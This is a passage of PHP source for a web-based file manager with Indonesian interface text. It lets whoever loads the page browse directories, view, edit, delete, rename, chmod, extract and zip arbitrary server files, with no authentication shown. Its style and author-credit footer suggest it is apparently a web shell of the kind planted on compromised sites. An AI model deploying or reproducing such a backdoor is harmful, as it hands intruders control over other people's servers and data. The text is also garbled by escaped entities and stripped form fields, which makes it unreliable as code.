&#039;.htmlspecialchars(basename($_GET[&#039;target_file&#039;])).&#039;</h3>&lt;p style=&quot;color:red;text-align:center;&quot;&gt;Anda YAKIN? Tindakan ini tidak bisa dibatalkan.&lt;/p&gt;<form><input type=hidden><input type=hidden><input type=submit> &lt;a href=&quot;?path=&#039;.urlencode($path).&#039;&quot; style=&quot;margin-left:10px;&quot;&gt;BATAL&lt;/a&gt;</form>&#039;; break;        case &#039;extract_form&#039;: echo &#039;<h3>Konfirmasi Ekstrak: &#039;.htmlspecialchars(basename($_GET[&#039;target_file&#039;])).&#039;</h3>&lt;p&gt;Ekstrak semua isi file ini ke direktori saat ini (&#039;.htmlspecialchars($path).&#039;)?&lt;/p&gt;<form><input type=hidden><input type=hidden><input type=submit> &lt;a href=&quot;?path=&#039;.urlencode($path).&#039;&quot; style=&quot;margin-left:10px;&quot;&gt;BATAL&lt;/a&gt;</form>&#039;; break;        case &#039;view_file&#039;: echo &#039;<h3>Viewing: &#039;.htmlspecialchars(basename($_GET[&#039;target_file&#039;])).&#039;</h3>&lt;textarea style=&quot;width:100%;height:400px;&quot; readonly&gt;&#039;.htmlspecialchars(@file_get_contents($_GET[&#039;target_file&#039;])).&#039;&lt;/textarea&gt;&#039;; break;        case &#039;edit_form&#039;: echo &#039;<h3>Editing: &#039;.htmlspecialchars(basename($_GET[&#039;target_file&#039;])).&#039;</h3><form>&lt;textarea name=&quot;src_content&quot; style=&quot;width:100%;height:400px;&quot;&gt;&#039;.htmlspecialchars(@file_get_contents($_GET[&#039;target_file&#039;])).&#039;&lt;/textarea&gt;<br><input type=hidden><input type=hidden><input type=submit></form>&#039;; break;        case &#039;rename_form&#039;: echo &#039;<h3>Rename: &#039;.htmlspecialchars(basename($_GET[&#039;target_file&#039;])).&#039;</h3><form>New Name: <input type=text><input type=hidden><input type=hidden><input type=submit></form>&#039;; break;        case &#039;chmod_form&#039;: $current_perms = substr(sprintf(&#039;%o&#039;, @fileperms($_GET[&#039;target_file&#039;])), -4); echo &#039;<h3>Chmod: &#039;.htmlspecialchars(basename($_GET[&#039;target_file&#039;])).&#039;</h3><form>Permission: <input type=text><input type=hidden><input type=hidden><input type=submit></form>&#039;; break;    }    echo &#039;&lt;/div&gt;&#039;;}if ($show_file_list) {    echo &#039;<form>&#039;;    echo &#039;&lt;div id=&quot;content&quot;&gt;<table>&lt;tr class=&quot;first&quot;&gt;&lt;th&gt;<input type=checkbox>e.checked=this.checked);&quot;&gt;&lt;/th&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Size&lt;/th&gt;&lt;th&gt;Perm&lt;/th&gt;&lt;th&gt;Options&lt;/th&gt;</tr>&#039;;    $scandir_items = @scandir($path);    if ($scandir_items) {        usort($scandir_items, function($a, $b) use ($path) { if ($a == &#039;..&#039;) return -1; if ($b == &#039;..&#039;) return 1; if (is_dir($path.&#039;/&#039;.$a) &amp;&amp; !is_dir($path.&#039;/&#039;.$b)) return -1; if (!is_dir($path.&#039;/&#039;.$a) &amp;&amp; is_dir($path.&#039;/&#039;.$b)) return 1; return strcasecmp($a, $b); });        foreach($scandir_items as $item){            if($item == &#039;.&#039;) continue;            $full_item_path = $path.DIRECTORY_SEPARATOR.$item;            $encoded_full_item_path = urlencode($full_item_path);            echo &quot;<tr>&lt;td class=&#039;td_home&#039; style=&#039;text-align:center;&#039;&gt;&quot;;            if ($item != &#039;..&#039;) echo &quot;&lt;input type=&#039;checkbox&#039; class=&#039;file-checkbox&#039; name=&#039;selected_files[]&#039; value=&#039;&quot;.htmlspecialchars($full_item_path).&quot;&#039;&gt;&quot;;            echo &quot;</td>&lt;td class=&#039;td_home&#039; style=&#039;word-break:break-all;&#039;&gt;&quot;;            if($item == &#039;..&#039;) echo &quot;&lt;i class=&#039;fa fa-folder-open-o&#039;&gt;&lt;/i&gt; &lt;a href=\&quot;?path=&quot;.urlencode(dirname($path)).&quot;\&quot;&gt;&quot;.htmlspecialchars($item).&quot;&lt;/a&gt;&quot;;            elseif(is_dir($full_item_path)) echo &quot;&lt;i class=&#039;fa fa-folder-o&#039;&gt;&lt;/i&gt; &lt;a href=\&quot;?path=$encoded_full_item_path\&quot;&gt;&quot;.htmlspecialchars($item).&quot;&lt;/a&gt;&quot;;            else echo &quot;&lt;i class=&#039;fa fa-file-o&#039;&gt;&lt;/i&gt; &lt;a href=\&quot;?action=view_file&amp;target_file=$encoded_full_item_path&amp;path=&quot;.urlencode($path).&quot;\&quot;&gt;&quot;.htmlspecialchars($item).&quot;&lt;/a&gt;&quot;;            echo &quot;</td>&lt;td class=&#039;td_home&#039; style=&#039;text-align:center;white-space:nowrap;&#039;&gt;&quot;.(is_file($full_item_path) ? round(@filesize($full_item_path)/1024,2).&#039; KB&#039; : &#039;--&#039;).&quot;</td>&quot;;            echo &quot;&lt;td class=&#039;td_home&#039; style=&#039;text-align:center;&#039;&gt;&lt;font color=&#039;&quot;.(is_writable($full_item_path) ? &#039;#57FF00&#039; : (!is_readable($full_item_path) ? &#039;#FF0004&#039; : $theme_fg)).&quot;&#039;&gt;&quot;.perms($full_item_path).&quot;&lt;/font&gt;</td>&quot;;            echo &quot;&lt;td class=&#039;td_home&#039; style=&#039;text-align:center;&#039;&gt;&lt;select style=&#039;width:100px;&#039; onchange=\&quot;if(this.value) window.location.href=&#039;?action=&#039;+this.value+&#039;&amp;target_file={$encoded_full_item_path}&amp;path=&quot;.urlencode($path).&quot;&#039;\&quot;&gt;&lt;option value=&#039;&#039;&gt;Action&lt;/option&gt;&lt;option value=&#039;delete&#039;&gt;Delete&lt;/option&gt;&quot;;            if(is_file($full_item_path)) { echo &quot;&lt;option value=&#039;edit_form&#039;&gt;Edit&lt;/option&gt;&quot;; if(class_exists(&#039;ZipArchive&#039;) &amp;&amp; pathinfo($full_item_path, PATHINFO_EXTENSION) == &#039;zip&#039;) echo &quot;&lt;option value=&#039;extract_form&#039;&gt;Extract&lt;/option&gt;&quot;; }            echo &quot;&lt;option value=&#039;rename_form&#039;&gt;Rename&lt;/option&gt;&lt;option value=&#039;chmod_form&#039;&gt;Chmod&lt;/option&gt;&lt;/select&gt;</td></tr>&quot;;        }    } else { echo &quot;<tr>&lt;td colspan=&#039;5&#039; style=&#039;text-align:center;&#039;&gt;&lt;font color=&#039;red&#039;&gt;Gagal membaca direktori.&lt;/font&gt;</td></tr>&quot;; }    if (class_exists(&#039;ZipArchive&#039;)) {        echo &#039;&lt;tfoot&gt;&lt;tr class=&quot;first&quot;&gt;&lt;td colspan=&quot;5&quot;&gt;With selected: &lt;select name=&quot;bulk_action&quot;&gt;&lt;option value=&quot;&quot;&gt;Choose...&lt;/option&gt;&lt;option value=&quot;zip_selected&quot;&gt;Zip&lt;/option&gt;&lt;/select&gt; <input type=submit></td></tr>&lt;/tfoot&gt;&#039;;    }    echo &#039;</table>&lt;/div&gt;</form>&#039;;}&lt;hr style=&quot;border-top: 1px solid  echo $theme_border_color; ; width: 95%; max-width: 1200px; margin: 15px auto;&quot;&gt;<center>&lt;font color=&quot;#fff&quot; size=&quot;2px&quot;&gt;<b>Coded With &amp;#x1f497; by &lt;font color=&quot;#7e52c6&quot;&gt; echo htmlspecialchars($author); &lt;/font&gt;</b></center></body></html>